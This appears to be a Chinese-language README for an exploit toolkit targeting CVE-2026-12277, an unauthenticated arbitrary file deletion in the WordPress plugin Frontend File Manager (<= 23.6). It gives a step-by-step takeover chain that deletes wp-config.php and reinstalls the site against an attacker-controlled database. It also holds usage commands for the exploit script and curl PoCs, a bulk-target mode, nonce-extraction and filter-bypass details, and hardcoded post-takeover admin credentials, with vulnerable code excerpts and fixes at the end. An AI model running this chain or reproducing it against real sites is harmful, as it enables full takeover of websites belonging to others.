
Frontend File Manager插件 (WordPress) <= 23.6 - 未授权任意文件删除导致远程代码执行(RCE)
Frontend File Manager 插件 (WordPress) <= 23.6 - 未认证任意文件删除导致 RCE
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-12277 |
| 插件 | Frontend File Manager 插件 (nmedia-user-file-uploader) |
| 受影响版本 | <= 23.6 |
| 类型 | 未认证任意文件删除 |
| CVSS | 8.7 (高危) |
| CWE | CWE-73 (文件名称或路径的外部控制) |
| 前置条件 | 启用访客上传模式 |
| 补丁 | 无 (截至 2026 年 7 月) |
| 研究者 | Chamseddine Bouzaiene |
该插件将上传的文件路径存储在文章元数据 (wpfm_dir_path) 中。wpfm_file_meta_update 这个 AJAX 端点:
files.php 第 769-771 行)nopriv (无需身份验证即可访问)request_order 的怪异行为绕过 unset($_REQUEST['wpfm_dir_path']) 防御(通过查询字符串发送)当调用 wpfm_delete_file 时,它会从文章元数据中读取 wpfm_dir_path,并直接调用 unlink(),没有任何路径验证。
| AJAX 动作 | 需要 Nonce | 需要认证 | nopriv |
|---|---|---|---|
wpfm_file_meta_update | 否 (已注释) | 否 | 是 (始终) |
wpfm_delete_file | 是 | 否 | 是 (始终) |
wpfm_upload_file | 是 | 否 | 是 (如果启用访客上传) |
1. 检测插件 + 访客上传已启用
2. 自动从前端页面提取 AJAX nonce(隐藏输入字段)
3. 以访客身份上传文件 或 暴力破解现有文章 ID
4. 通过查询字符串绕过方式覆盖 wpfm_dir_path → 指向 wp-config.php
5. 触发 wpfm_delete_file → unlink(wp-config.php)
6. WordPress 进入设置模式 (setup-config.php)
7. 使用攻击者控制的数据库完成设置
8. 以管理员身份登录 → 完全接管
| 文件 | 描述 |
|---|---|
exploit.py | 完整的 Python 利用脚本(检测 → 利用 → 接管) |
poc_curl.sh | Bash/curl PoC (Linux) |
poc_curl.ps1 | PowerShell/curl PoC (Windows) |
lists.txt | 目标 URL(每行一个,用于批量模式) |
requirements.txt | Python 依赖 |
# 安装依赖
pip install -r requirements.txt
# 全自动利用(nonce 自动检测)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root
# 仅检测
python exploit.py -u http://target.com --detect-only
# 手动指定 nonce(若自动检测失败)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4
# 使用 Burp 代理
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080
# 自定义攻击者数据库配置
python exploit.py -u http://target.com \
-p /var/www/html/wp-config.php \
--dbname pwned_db \
--dbuser root \
--dbpass secret \
--dbhost localhost
在利用成功后,登录到 WordPress 管理后台:
URL: http://target.com/wp-login.php
用户名: shac1x
密码: Sh4c1x_Pwn3d!
bash poc_curl.sh http://target.com
.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"
| 参数 | 必需 | 描述 |
|---|---|---|
-u, --url | 是 | 目标 WordPress URL |
-p, --path | 否 | 服务器上 wp-config.php 的绝对路径 |
--nonce | 否 | AJAX nonce(跳过自动提取) |
--dbname | 否 | 攻击者数据库名称(默认:wp_pwned) |
--dbuser | 否 | 攻击者数据库用户(默认:root) |
--dbpass | 否 | 攻击者数据库密码 |
--dbhost | 否 | 攻击者数据库主机(默认:localhost) |
--proxy | 否 | HTTP 代理(例如 http://127.0.0.1:8080) |
--timeout | 否 | 请求超时秒数(默认:15) |
--detect-only | 否 | 仅检测漏洞,不进行利用 |
利用脚本会自动在以下位置搜索 wpfm_ajax_nonce:
/file-manager/、/upload/、/files/、/file-upload/ 等/file-manager.php/wp-json/)Nonce 以隐藏输入字段形式出现:
<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />
或者出现在本地化的 JavaScript 中:
var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};
代码中使用了 unset($_REQUEST['wpfm_dir_path']) 来防止直接覆盖。绕过方式:
查询字符串注入:通过 URL 查询参数发送 wpfm_dir_path,而其他数据通过 POST 体发送。PHP 的 $_REQUEST 合并行为根据 request_order 配置可能使该值持续存在。
在上传流程中预置:在初始文件上传钩子中设置了 wpfm_dir_path 元数据。如果在该阶段利用,则无需绕过。
| 组件 | 版本 |
|---|---|
| WordPress | 6.9.4 |
| PHP | 8.2.12 |
| 插件 | Frontend File Manager 23.6 |
| 操作系统 | Windows (XAMPP) / Linux |
| 结果 | 确认完全接管 |
inc/files.php:769-771)/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
wp_send_json_error(__("抱歉,此请求无法完成,请联系管理员", "wpfm"));
}*/
inc/files.php:787-795)$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}
inc/files.php:690-693)$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("抱歉,不允许", "wpfm"));
}
// 当访客上传开启时 → !$allow_guest = false → 整个检查被跳过
inc/file.class.php:729-753)function delete_file_locally() {
$file_path = $this->path; // 来自 wpfm_dir_path 元数据 - 无验证
if (file_exists($file_path)) {
unlink($file_path); // 任意文件删除
}
}
inc/file.class.php:172-184)function path() {
$file_dir_path = null;
if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
$file_dir_path = $this->legacy->path(); // 回退:upload_dir + wpfm_file_name
}
if( ! is_file($file_dir_path) ) {
$file_dir_path = null;
}
return $file_dir_path; // 无规范化,无 realpath 检查
}
wpfm_file_meta_update 中的 nonce 验证realpath() 和前缀检查验证 wpfm_dir_path 是否在上传目录内本工具仅供授权的安全测试和教育目的使用。未经授权访问计算机系统是违法的。始终在获得书面许可后再进行测试。